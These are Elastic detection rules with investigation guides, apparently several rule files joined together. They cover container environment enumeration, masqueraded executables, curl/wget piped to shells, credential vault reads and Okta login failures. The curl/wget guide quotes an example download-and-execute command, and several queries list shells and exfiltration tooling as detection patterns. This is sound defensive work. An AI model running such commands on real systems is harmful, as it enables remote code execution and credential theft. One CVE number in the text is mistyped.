author = ["Elastic"]
description = """
This rule detects the execution of the "env" or "printenv" commands inside a container. The "env" command is used
to display all the environment variables for the current shell, and the "printenv" command is used to print the
values of environment variables. These commands are used to enumerate the environment variables of the container,
which can be used by an adversary to gain information about the container and the services running inside it.
"""
false_positives = [
    """
    There is a potential for false positives if the "env" or "printenv" commands are used for legitimate purposes,
    such as debugging or troubleshooting. It is important to investigate any alerts generated by this rule to determine
    if they are indicative of malicious activity or part of legitimate container activity.
    """,
]
from = "now-6m"
index = ["logs-cloud_defend.process*"]
interval = "5m"
language = "eql"
license = "Elastic License v2"
name = "Environment Variable Enumeration Detected via Defend for Containers"
note = """ ## Triage and analysis

> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.

### Investigating Environment Variable Enumeration Detected via Defend for Containers

This rule flags execution of env or printenv inside a Linux container, a common discovery step to expose environment variables that frequently store credentials, tokens, and service configuration. A typical pattern: after gaining shell access to a pod, the attacker lists variables to harvest cloud keys, Kubernetes service account tokens, database URLs, and internal endpoints, enabling authenticated API calls, lateral movement within the cluster, or exfiltration via trusted services.

### Possible investigation steps

- Correlate with Kubernetes audit logs (exec/attach or debug) to identify the initiator identity, source IP, and command, and confirm whether the session was expected.
- Review the pod/container context (namespace, deployment, image digest/tag, node, and service account) and compare against baselines to catch unusual targets or ephemeral/privileged debug containers.
- Retrieve the enumerated variables to spot high-risk secrets such as cloud credentials, database passwords, or tokens, and immediately rotate/disable any discovered keys while reviewing provider audit logs for post-alert use.
- Trace subsequent activity within the container after the event for credential usage or exfiltration, including access to 169.254.169.254/metadata, calls to Kubernetes/cloud APIs, outbound network connections, or tooling like curl, wget, base64, and grep.
- Pivot to related signals on the same pod or node around the timestamp (new shells, service account token file reads, package installs, or suspicious downloads) to determine if this is part of a broader compromise.

### False positive analysis

- An operator opens an interactive shell in a container during routine troubleshooting and runs env or printenv to verify configuration, service endpoints, feature flags, or propagated secrets.
- Interactive shell initialization or entrypoint scripts in certain base images automatically invoke env or printenv upon TTY login to display or log variables, producing this event in benign sessions.

### Response and remediation

- Quarantine the affected pod where env/printenv was run by deleting the pod to drop the interactive session, applying a deny-all egress NetworkPolicy targeting its labels, and temporarily blocking kubectl exec/attach to that workload.
- Immediately rotate any secrets exposed in that container’s environment (cloud access keys, database passwords, API tokens, Kubernetes service account token), revoke active sessions at providers, and invalidate cached credentials on dependent services.
- Redeploy the application from a verified image digest with a fresh service account and newly issued secrets, and remove debug images or shell entrypoints that enabled interactive access.
- Escalate to incident response if env output contained credentials or the pod’s IP contacted 169.254.169.254, cloud/Kubernetes APIs, or external endpoints after the enumeration, indicating possible secret use or exfiltration.
- Replace environment-based secret injection with a secrets manager or projected volumes, set automountServiceAccountToken to false where not required, right-size RBAC for the workload, and block egress to the metadata service and the internet.
- Enforce preventive controls by disabling kubectl exec/attach for production (break-glass only with approval), enabling admission policies to block images with shells or package managers, and adding runtime rules to alert on interactive env/printenv followed by curl/wget/base64 or token file reads.
"""
risk_score = 21
rule_id = "f66a6869-d4c7-4d20-ab13-beefd03b63b4"
severity = "low"
tags = [
    "Data Source: Elastic Defend for Containers",
    "Domain: Container",
    "OS: Linux",
    "Use Case: Threat Detection",
    "Tactic: Discovery",
    "Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "eql"
query = '''
process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and (
  process.name in ("env", "printenv") or
  (
    /* Account for tools that execute utilities as a subprocess, in this case the target utility name will appear as a process arg */
    process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox") and
    process.args in (
      "env", "/bin/env", "/usr/bin/env", "/usr/local/bin/env",
      "printenv", "/bin/printenv", "/usr/bin/printenv", "/usr/local/bin/printenv"
    ) and
    /* default exclusion list to not FP on default multi-process commands */
    not process.args in (
      "which", "/bin/which", "/usr/bin/which", "/usr/local/bin/which",
      "man", "/bin/man", "/usr/bin/man", "/usr/local/bin/man",
      "chmod", "/bin/chmod", "/usr/bin/chmod", "/usr/local/bin/chmod",
      "chown", "/bin/chown", "/usr/bin/chown", "/usr/local/bin/chown"
    )
  )
) and
container.id like "*"
'''

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1082"
name = "System Information Discovery"
reference = "https://attack.mitre.org/techniques/T1082/"

[[rule.threat.technique]]
id = "T1613"
name = "Container and Resource Discovery"
reference = "https://attack.mitre.org/techniques/T1613/"

[rule.threat.tactic]
id = "TA0007"
name = "Discovery"
reference = "https://attack.mitre.org/tactics/TA0007/"

[metadata]
creation_date = "2023/09/25"
integration = ["endpoint"]
maturity = "production"
updated_date = "2024/05/21"

[rule]
author = ["Elastic"]
building_block_type = "default"
description = """
Identifies the creation or modification of an executable file with an unexpected file extension. Attackers may attempt
to evade detection by masquerading files using the file extension values used by image, audio, or document file types.
"""
from = "now-119m"
index = ["logs-endpoint.events.file-*"]
interval = "60m"
language = "eql"
license = "Elastic License v2"
name = "Executable File with Unusual Extension"
risk_score = 21
rule_id = "ecd4857b-5bac-455e-a7c9-a88b66e56a9e"
severity = "low"
tags = [
    "Domain: Endpoint",
    "OS: Windows",
    "Use Case: Threat Detection",
    "Tactic: Defense Evasion",
    "Rule Type: BBR",
    "Data Source: Elastic Defend",
]
timestamp_override = "event.ingested"
type = "eql"

query = '''
file where host.os.type == "windows" and event.action != "deletion" and

 /* MZ header or its common base64 equivalent TVqQ */
 file.Ext.header_bytes : ("4d5a*", "54567151*") and

 (
   /* common image file extensions */
   file.extension : ("jpg", "jpeg", "emf", "tiff", "gif", "png", "bmp", "fpx", "eps", "svg", "inf") or

   /* common audio and video file extensions */
   file.extension : ("mp3", "wav", "avi", "mpeg", "flv", "wma", "wmv", "mov", "mp4", "3gp") or

   /* common document file extensions */
   file.extension : ("txt", "pdf", "doc", "docx", "rtf", "ppt", "pptx", "xls", "xlsx", "hwp", "html")
  ) and
  not process.pid == 4 and
  not process.executable : "?:\\Program Files (x86)\\Trend Micro\\Client Server Security Agent\\Ntrtscan.exe"
'''


[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1036"
name = "Masquerading"
reference = "https://attack.mitre.org/techniques/T1036/"
[[rule.threat.technique.subtechnique]]
id = "T1036.008"
name = "Masquerade File Type"
reference = "https://attack.mitre.org/techniques/T1036/008/"



[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"

[rule]
description = """
Identifies the execution of a Micorosft signed binary from a remote working directory followed by spawning a file hosted
on a remote share. This may indicate the successful execution of a remote file via malicious files such as shortcuts.
"""
id = "fc2debc9-b8ad-45e3-b95a-b18ada0350b0"
license = "Elastic License v2"
name = "Execution from a Remote Working Directory"
os_list = ["windows"]
reference = [
    "https://research.checkpoint.com/2025/stealth-falcon-zero-day/",
    "https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-33053",
]
version = "1.0.3"

query = '''
sequence with maxspan=1m
[process where event.action == "start" and process.parent.name : ("explorer.exe", "7zFM.exe", "WinRAR.exe", "Bandizip.exe", "7zG.exe") and
 process.working_directory : "\\\\*" and process.code_signature.subject_name in ("Microsoft Windows", "Microsoft Corporation") and
 not process.name : ("cmd.exe", "powershell.exe", "wscript.exe", "cscript.exe", "excel.exe", "outlook.exe", "winword.exe", "devenv.exe")] by process.entity_id
[process where event.action == "start" and process.executable : "\\Device\\Mup*"] by process.parent.entity_id
'''

min_endpoint_version = "8.10.0"
optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0
tree = true

[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1566"
name = "Phishing"
reference = "https://attack.mitre.org/techniques/T1566/"
[[threat.technique.subtechnique]]
id = "T1566.001"
name = "Spearphishing Attachment"
reference = "https://attack.mitre.org/techniques/T1566/001/"



[threat.tactic]
id = "TA0001"
name = "Initial Access"
reference = "https://attack.mitre.org/tactics/TA0001/"
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1203"
name = "Exploitation for Client Execution"
reference = "https://attack.mitre.org/techniques/T1203/"


[threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1218"
name = "System Binary Proxy Execution"
reference = "https://attack.mitre.org/techniques/T1218/"


[threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"

[internal]
min_endpoint_version = "8.10.0"

[metadata]
creation_date = "2026/08/19"
integration = ["endpoint"]
maturity = "production"
updated_date = "2026/08/31"

[rule]
author = ["Elastic"]
description = """
This rule detects when a file is downloaded by curl or wget, and piped to an interpreter. Attackers may use this
technique to download and execute payloads for various malicious purposes, such as establishing persistence or
exfiltrating data.
"""
from = "now-9m"
index = ["logs-endpoint.events.process*"]
language = "eql"
license = "Elastic License v2"
name = "File Downloaded by Curl/Wget and Piped to Interpreter"
note = """ ## Triage and analysis

> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.

### Investigating File Downloaded by Curl/Wget and Piped to Interpreter

This rule identifies Linux activity where curl or wget retrieves content from a remote path and sends it directly to a shell or scripting interpreter, enabling code execution without first saving a conventional file. An attacker may run `curl http://203.0.113.10/payload | sh` to execute a staged payload and rapidly establish persistence or launch data theft.

### Possible investigation steps

- Reconstruct the complete process ancestry and descendants to identify the initiating user, access vector, executed commands, and any follow-on payloads.
- Extract the remote URL, resolve redirects, assess domain and IP reputation, and safely retrieve the content for hashing, static analysis, and sandbox execution.
- Correlate DNS, proxy, firewall, and endpoint network telemetry to confirm the connection, transferred bytes, related destinations, and other affected hosts.
- Examine the host for persistence, dropped files, credential access, privilege escalation, account changes, or suspicious outbound connections occurring after the alert.
- Confirm whether the activity was authorized by the user or system owner, and isolate the host, block indicators, and revoke exposed credentials if malicious intent is established.

### False positive analysis

- An administrator may use curl or wget to stream an approved installation or configuration script into a shell during deployment; verify the initiating account, change record, remote destination, and retrieved script contents.
- An automated Linux provisioning or maintenance task may fetch and execute a trusted script through an interpreter; confirm the process ancestry, expected schedule, command line, destination ownership, and consistency across authorized hosts.

### Response and remediation

- Isolate the affected Linux host from the network while preserving volatile evidence, running processes, shell history, downloaded content, and relevant system logs.
- Block the malicious URL, domain, IP address, and payload hashes across DNS, proxy, firewall, endpoint, and email controls, and identify other hosts that contacted the same infrastructure.
- Terminate malicious processes and remove associated persistence from cron jobs, systemd units, shell profiles, startup scripts, SSH authorized keys, modified accounts, and files in locations such as `/tmp`, `/var/tmp`, and `/dev/shm`.
- Escalate immediately to incident response if privileged execution, credential theft, lateral movement, data exfiltration, or the same indicators on multiple hosts are identified, and rotate affected passwords, keys, tokens, and secrets.
- Reimage the system or restore it from a verified known-good image, validate package and configuration integrity, apply security updates, and monitor closely for renewed connections or execution.
- Prevent recurrence by restricting outbound access, allowlisting approved download sources, limiting curl and wget use for service accounts, and alerting on streamed interpreter execution and executables launched from temporary or memory-backed paths.
"""
risk_score = 47
rule_id = "3ebdc01e-7788-4845-8e7a-c8a671ad46ea"
setup = """## Setup

This rule requires data coming in from Elastic Defend.

### Elastic Defend Integration Setup
Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app.

#### Prerequisite Requirements:
- Fleet is required for Elastic Defend.
- To configure Fleet Server refer to the [documentation](https://www.elastic.co/guide/en/fleet/current/fleet-server.html).

#### The following steps should be executed in order to add the Elastic Defend integration on a Linux System:
- Go to the Kibana home page and click "Add integrations".
- In the query bar, search for "Elastic Defend" and select the integration to see more details about it.
- Click "Add Elastic Defend".
- Configure the integration name and optionally add a description.
- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads".
- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. [Helper guide](https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html).
- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions"
- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead.
For more details on Elastic Agent configuration settings, refer to the [helper guide](https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html).
- Click "Save and Continue".
- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts.
For more details on Elastic Defend refer to the [helper guide](https://www.elastic.co/guide/en/security/current/install-endpoint.html).
"""
severity = "medium"
tags = [
    "Domain: Endpoint",
    "OS: Linux",
    "Use Case: Threat Detection",
    "Tactic: Execution",
    "Tactic: Command and Control",
    "Tactic: Defense Evasion",
    "Data Source: Elastic Defend",
    "Resources: Investigation Guide",
]
type = "eql"
query = '''
sequence by host.id, process.parent.entity_id, process.working_directory with maxspan=1s
  [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.name in ("curl", "wget") and
  (
    /* IP address and path */
    process.command_line regex ".*[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}(:[0-9]{1,5})?\\/[^ ]+.*" or
    /* URL and path */
    process.command_line regex ".*[A-Za-z0-9][A-Za-z0-9\\-]*(\\.[A-Za-z0-9][A-Za-z0-9\\-]*)+(:[0-9]{1,5})?\\/[^ ]+.*"
  ) and
  process.args_count <= 3 and (
    process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "busybox", "node", "deno", "ash", "mksh", "pwsh") or
    process.parent.name like (".*", "python*", "perl*", "ruby*", "lua*", "php*") or
    process.parent.executable like (
      "/tmp/*", "/var/tmp/*", "/dev/shm/*", "./*", "/run/*", "/var/run/*", "/boot/*", "/sys/*", "/lost+found/*",
      "/proc/*", "/var/mail/*", "/var/www/*", "/dev/fd/*", "?memfd:*", "memfd:*"
    )
  ) and
  not (
    process.args in ("-h", "--help", "-V", "--version", "--output", "-O") or
    process.args like ("--output*", "-o*", "--remote-name*") or
    process.command_line like ("*127.0.0.1*", "*localhost*", "*artifacts.elastic.co*", "*ela.st*", "*elastic.co*")
  )]
  [process where host.os.type == "linux" and event.type == "end" and event.action == "end" and
   process.name like (
     "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish",
     "python*", "perl*", "ruby*", "lua*", "php*", "node"
   ) and process.args_count == 1 and
   process.args like (
    "-bash", "-dash", "-sh", "-tcsh", "-csh", "-zsh", "-ksh", "-fish", "-ash", "-mksh", "-pwsh",
    "bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish", "ash", "mksh", "pwsh",
    "/bin/bash", "/bin/dash", "/bin/sh", "/bin/tcsh",
    "/bin/zsh", "/bin/ksh", "/bin/fish",
    "/bin/csh", "/bin/ash", "/bin/mksh", "/bin/pwsh",
    "/usr/bin/bash", "/usr/bin/dash", "/usr/bin/sh", "/usr/bin/tcsh",
    "/usr/bin/csh", "/usr/bin/zsh", "/usr/bin/ksh", "/usr/bin/fish",
    "/usr/bin/ash", "/usr/bin/mksh", "/usr/bin/pwsh",
    "/usr/local/bin/bash", "/usr/local/bin/dash", "/usr/local/bin/sh", "/usr/local/bin/tcsh",
    "/usr/local/bin/csh", "/usr/local/bin/zsh", "/usr/local/bin/ksh", "/usr/local/bin/fish",
    "/usr/local/bin/ash", "/usr/local/bin/mksh", "/usr/local/bin/pwsh",
    "python*", "/bin/python*", "/usr/bin/python*", "/usr/local/bin/python*",
    "perl*", "/bin/perl*", "/usr/bin/perl*", "/usr/local/bin/perl*",
    "ruby*", "/bin/ruby*", "/usr/bin/ruby*", "/usr/local/bin/ruby*",
    "lua*", "/bin/lua*", "/usr/bin/lua*", "/usr/local/bin/lua*",
    "php*", "/bin/php*", "/usr/bin/php*", "/usr/local/bin/php*",
    "node", "/bin/node", "/usr/bin/node", "/usr/local/bin/node",
    "/dev/fd/*", "?memfd:*", "memfd:*"
  )
  ]
'''

[[rule.threat]]
framework = "MITRE ATT&CK"

[rule.threat.tactic]
name = "Execution"
id = "TA0002"
reference = "https://attack.mitre.org/tactics/TA0002/"

[[rule.threat.technique]]
id = "T1059"
name = "Command and Scripting Interpreter"
reference = "https://attack.mitre.org/techniques/T1059/"

[[rule.threat.technique.subtechnique]]
id = "T1059.004"
name = "Unix Shell"
reference = "https://attack.mitre.org/techniques/T1059/004/"

[[rule.threat]]
framework = "MITRE ATT&CK"

[rule.threat.tactic]
name = "Command and Control"
id = "TA0011"
reference = "https://attack.mitre.org/tactics/TA0011/"

[[rule.threat.technique]]
name = "Application Layer Protocol"
id = "T1071"
reference = "https://attack.mitre.org/techniques/T1071/"

[[rule.threat]]
framework = "MITRE ATT&CK"

[rule.threat.tactic]
name = "Defense Evasion"
id = "TA0005"
reference = "https://attack.mitre.org/tactics/TA0005/"

[rule]
description = """
Identifies suspicious child processes of the Microsoft Equation Editor process, which is frequently targeted by
attackers using weaponized Microsoft Office documents. These child processes are often launched during exploitation of
Office applications via known vulnerabilities CVE-2017-1182 or CVE-2018-0798.
"""
id = "60eb5960-b26e-494a-8cf2-35ab5939f6c1"
license = "Elastic License v2"
name = "Microsoft Equation Editor Child Process"
os_list = ["windows"]
reference = [
    "https://www.anomali.com/blog/multiple-chinese-threat-groups-exploiting-cve-2018-0798-equation-editor-vulnerability-since-late-2018",
    "https://nvd.nist.gov/vuln/detail/CVE-2017-11882",
    "https://nvd.nist.gov/vuln/detail/CVE-2018-0798",
]
version = "1.0.31"

query = '''
process where event.action == "start" and process.parent.name : "EQNEDT32.EXE" and
  not process.executable : ("?:\\Windows\\System32\\WerFault.exe", "?:\\Windows\\SysWOW64\\WerFault.exe")
'''

min_endpoint_version = "7.15.0"
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0

[[optional_actions]]
action = "rollback"
field = "process.entity_id"
state = 0

[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1566"
name = "Phishing"
reference = "https://attack.mitre.org/techniques/T1566/"
[[threat.technique.subtechnique]]
id = "T1566.001"
name = "Spearphishing Attachment"
reference = "https://attack.mitre.org/techniques/T1566/001/"



[threat.tactic]
id = "TA0001"
name = "Initial Access"
reference = "https://attack.mitre.org/tactics/TA0001/"
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1203"
name = "Exploitation for Client Execution"
reference = "https://attack.mitre.org/techniques/T1203/"


[threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"

[internal]
min_endpoint_version = "7.15.0"

[rule]
description = """
This rule detects the enabling of write access to the Model Specific Registers (MSR) through the modprobe command. The
MSR provides a mechanism for the operating system to interact with the processor's hardware. Enabling write access to
the MSR may allow an attacker to modify the processor's configuration. This activity is seen by adversaries as a way to
increase mining performance or to bypass security mechanisms.
"""
id = "4342c282-ee21-4140-8e27-4e0f551489ef"
license = "Elastic License v2"
name = "MSR Write Access Enabled"
os_list = ["linux"]
reference = ["https://linux.die.net/man/8/modprobe"]
version = "1.0.4"

query = '''
process where event.type == "start" and event.action == "exec" and process.name == "modprobe" and
process.args == "msr" and process.args == "allow_writes=on"
'''

min_endpoint_version = "7.15.0"
optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0
tree = true

[[actions]]
action = "kill_process"
field = "process.parent.entity_id"
state = 0
tree = true

[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1059"
name = "Command and Scripting Interpreter"
reference = "https://attack.mitre.org/techniques/T1059/"
[[threat.technique.subtechnique]]
id = "T1059.004"
name = "Unix Shell"
reference = "https://attack.mitre.org/techniques/T1059/004/"



[threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1496"
name = "Resource Hijacking"
reference = "https://attack.mitre.org/techniques/T1496/"


[threat.tactic]
id = "TA0040"
name = "Impact"
reference = "https://attack.mitre.org/tactics/TA0040/"

[internal]
min_endpoint_version = "7.15.0"

[metadata]
creation_date = "2022/08/30"
integration = ["system", "windows"]
maturity = "production"
updated_date = "2025/11/14"

[rule]
author = ["Elastic"]
description = """
Windows Credential Manager allows you to create, view, or delete saved credentials for signing into websites, connected
applications, and networks. An adversary may abuse this to list or dump credentials stored in the Credential Manager for
saved usernames and passwords. This may also be performed in preparation of lateral movement.
"""
from = "now-9m"
index = ["logs-system.security*", "logs-windows.forwarded*", "winlogbeat-*"]
language = "eql"
license = "Elastic License v2"
name = "Multiple Vault Web Credentials Read"
note = """## Triage and analysis

> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.

### Investigating Multiple Vault Web Credentials Read

Windows Credential Manager stores credentials for web logins, apps, and networks, facilitating seamless user access. Adversaries exploit this by extracting stored credentials, potentially aiding lateral movement within networks. The detection rule identifies suspicious activity by flagging consecutive credential reads from the same process, excluding benign actions like localhost access, thus highlighting potential credential dumping attempts.

### Possible investigation steps

- Review the process associated with the flagged PID to determine if it is a legitimate application or potentially malicious. Check for known software or unusual executables.
- Investigate the source and destination of the web credentials read by examining the winlog.event_data.Resource field to identify any suspicious or unexpected URLs.
- Check the winlog.computer_name to identify the affected system and assess whether it is a high-value target or has been involved in previous suspicious activities.
- Analyze the timeline of events around the alert to identify any preceding or subsequent suspicious activities that may indicate a broader attack pattern.
- Verify the user context by examining the winlog.event_data.SubjectLogonId to ensure the activity was not performed by a privileged or administrative account without proper authorization.
- Cross-reference the event with other security logs or alerts to identify any correlated activities that might suggest a coordinated attack or compromise.

### False positive analysis

- Localhost access is a common false positive since the rule excludes localhost reads. Ensure that any legitimate applications accessing credentials via localhost are properly whitelisted to prevent unnecessary alerts.
- Automated scripts or applications that frequently access web credentials for legitimate purposes may trigger the rule. Identify these processes and create exceptions for them to reduce noise.
- System maintenance or updates might involve credential reads that are benign. Coordinate with IT teams to schedule these activities and temporarily adjust the rule sensitivity or add exceptions during these periods.
- Security tools or monitoring software that perform regular checks on credential integrity could be flagged. Verify these tools and add them to an exception list if they are part of the organization's security infrastructure.
- User behavior such as frequent password changes or credential updates might cause alerts. Educate users on the impact of their actions and consider adjusting the rule to accommodate expected behavior patterns.

### Response and remediation

- Isolate the affected system from the network to prevent potential lateral movement by the adversary.
- Terminate the suspicious process identified by the process ID (pid) involved in the credential reads to stop further credential access.
- Conduct a thorough review of the affected system for any additional signs of compromise, such as unauthorized user accounts or scheduled tasks.
- Change passwords for any accounts that may have been exposed, focusing on those stored in the Windows Credential Manager.
- Implement network segmentation to limit access to critical systems and data, reducing the risk of lateral movement.
- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the scope of the breach.
- Enhance monitoring and logging on the affected system and similar endpoints to detect any future attempts at credential dumping or unauthorized access."""
references = [
    "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=5382",
    "https://www.elastic.co/security-labs/detect-credential-access",
]
risk_score = 47
rule_id = "44fc462c-1159-4fa8-b1b7-9b6296ab4f96"
severity = "medium"
tags = [
    "Domain: Endpoint",
    "OS: Windows",
    "Use Case: Threat Detection",
    "Tactic: Credential Access",
    "Data Source: Windows Security Event Logs",
    "Resources: Investigation Guide",
]
type = "eql"

query = '''
sequence by winlog.computer_name, winlog.process.pid with maxspan=1s

 /* 2 consecutive vault reads from same pid for web creds */

 [any where host.os.type == "windows" and event.code == "5382" and
  (winlog.event_data.SchemaFriendlyName : "Windows Web Password Credential" and winlog.event_data.Resource : "http*") and
  not winlog.event_data.SubjectLogonId : "0x3e7" and
  not winlog.event_data.Resource : "http://localhost/"]

 [any where host.os.type == "windows" and event.code == "5382" and
  (winlog.event_data.SchemaFriendlyName : "Windows Web Password Credential" and winlog.event_data.Resource : "http*") and
  not winlog.event_data.SubjectLogonId : "0x3e7" and
  not winlog.event_data.Resource : "http://localhost/"]
'''


[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1003"
name = "OS Credential Dumping"
reference = "https://attack.mitre.org/techniques/T1003/"

[[rule.threat.technique]]
id = "T1555"
name = "Credentials from Password Stores"
reference = "https://attack.mitre.org/techniques/T1555/"
[[rule.threat.technique.subtechnique]]
id = "T1555.004"
name = "Windows Credential Manager"
reference = "https://attack.mitre.org/techniques/T1555/004/"



[rule.threat.tactic]
id = "TA0006"
name = "Credential Access"
reference = "https://attack.mitre.org/tactics/TA0006/"

[rule]
description = """
Identifies a suspicious execution of NetSupport remote access software from non-default paths. Adversaries may abuse the
NetSupport RMM software to control a target victim machine.
"""
id = "f36c407e-27c1-4682-a322-73dd0cddf29d"
license = "Elastic License v2"
name = "NetSupport Execution form unusual Path"
os_list = ["windows"]
reference = ["https://www.netsupportsoftware.com/"]
version = "1.0.5"

query = '''
process where process.pe.original_file_name : "client??.exe" and
  process.code_signature.subject_name : ("NetSupport Ltd", "NETSUPPORT LTD.") and
  not process.executable : ("?:\\Program Files\\NetSupport*.exe", "?:\\Program Files (x86)\\NetSupport*.exe") and
  not process.parent.executable : ("?:\\Program Files\\NetSupport*.exe", "?:\\Program Files (x86)\\NetSupport*.exe")
'''

min_endpoint_version = "8.4.0"
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0
tree = true

[[optional_actions]]
action = "rollback"
field = "process.entity_id"
state = 0

[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1219"
name = "Remote Access Tools"
reference = "https://attack.mitre.org/techniques/T1219/"


[threat.tactic]
id = "TA0011"
name = "Command and Control"
reference = "https://attack.mitre.org/tactics/TA0011/"

[internal]
min_endpoint_version = "8.4.0"

[metadata]
bypass_bbr_timing = true
creation_date = "2026/02/03"
integration = ["okta"]
maturity = "production"
updated_date = "2026/03/24"

[rule]
author = ["Elastic"]
building_block_type = "default"
description = """
Identifies failed login attempts to the Okta Admin Console. Adversaries may attempt to gain unauthorized access to
administrator portals during reconnaissance or privilege escalation phases. Repeated failures may indicate brute force
attacks, credential spraying, or attempts to use compromised credentials. Monitoring Admin Console access failures
provides visibility into potential account takeover attempts targeting administrative accounts.
"""
from = "now-9m"
index = ["logs-okta.system-*"]
language = "kuery"
license = "Elastic License v2"
name = "Okta Admin Console Login Failure"
note = """## Triage and analysis

### Investigating Okta Admin Console Login Failure

This rule detects failed authentication attempts specifically targeting the Okta Admin Console. The Admin Console provides privileged access to manage Okta configurations, users, and policies, making it a high-value target for adversaries.

Threat actors like ShinyHunters have been observed probing for valid admin credentials as part of their attack chain. Failed Admin Console access attempts often precede successful compromise through vishing (voice phishing) or credential harvesting.

#### Possible investigation steps:
- Identify the user involved by examining the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name` fields.
- Review the `okta.outcome.reason` field to understand why the authentication failed (e.g., invalid credentials, MFA failure, policy violation).
- Determine the client used by the actor. Review the `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.zone`, `okta.client.device`, and `okta.client.id` fields.
- Check if the source IP is associated with known malicious activity, VPN/proxy services, or unusual geolocations.
- Examine the `okta.request.ip_chain` field to determine if the actor used a proxy or VPN.
- Correlate with other failed login attempts from the same IP or user to identify patterns.
- Review if the targeted user has administrative privileges that would make them a high-value target.
- Check for any recent vishing or phishing reports targeting users in your organization.

### False positive analysis:
- Administrators may legitimately mistype passwords or have MFA issues.
- Automated systems or scripts may fail authentication due to expired credentials.
- Users may accidentally attempt to access the Admin Console without proper permissions.

### Response and remediation:
- If repeated failures are observed from the same IP, consider blocking the IP address at the network perimeter.
- Alert the targeted administrator about the failed access attempts.
- If the user reports not attempting to access the Admin Console, treat this as a potential account compromise attempt.
- Review and strengthen MFA requirements for Admin Console access.
- Consider implementing conditional access policies to restrict Admin Console access to trusted networks.
- If vishing is suspected, remind users of social engineering awareness and verification procedures.
"""
references = [
    "https://cloud.google.com/blog/topics/threat-intelligence/expansion-shinyhunters-saas-data-theft",
    "https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security",
    "https://www.elastic.co/security-labs/starter-guide-to-understanding-okta",
]
risk_score = 21
rule_id = "f960e8a4-31c1-4a6e-b172-8f5c8e5c8c2a"
severity = "low"
tags = [
    "Domain: Identity",
    "Use Case: Identity and Access Audit",
    "Data Source: Okta",
    "Data Source: Okta System Logs",
    "Tactic: Initial Access",
    "Tactic: Credential Access",
    "Resources: Investigation Guide",
    "Rule Type: BBR",
]
timestamp_override = "event.ingested"
type = "query"

query = '''
event.dataset: "okta.system"
    and event.category: "authentication"
    and okta.target.alternate_id: "Okta Admin Console"
    and okta.outcome.result: "FAILURE"
'''


[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1078"
name = "Valid Accounts"
reference = "https://attack.mitre.org/techniques/T1078/"

[[rule.threat.technique.subtechnique]]
id = "T1078.004"
name = "Cloud Accounts"
reference = "https://attack.mitre.org/techniques/T1078/004/"

[rule.threat.tactic]
id = "TA0001"
name = "Initial Access"
reference = "https://attack.mitre.org/tactics/TA0001/"

[[rule.threat]]
framework = "MITRE ATT&CK"

[[rule.threat.technique]]
id = "T1110"
name = "Brute Force"
reference = "https://attack.mitre.org/techniques/T1110/"

[rule.threat.tactic]
id = "TA0006"
name = "Credential Access"
reference = "https://attack.mitre.org/tactics/TA0006/"

[metadata]
creation_date = "2025/04/16"
integration = ["windows"]
maturity = "production"
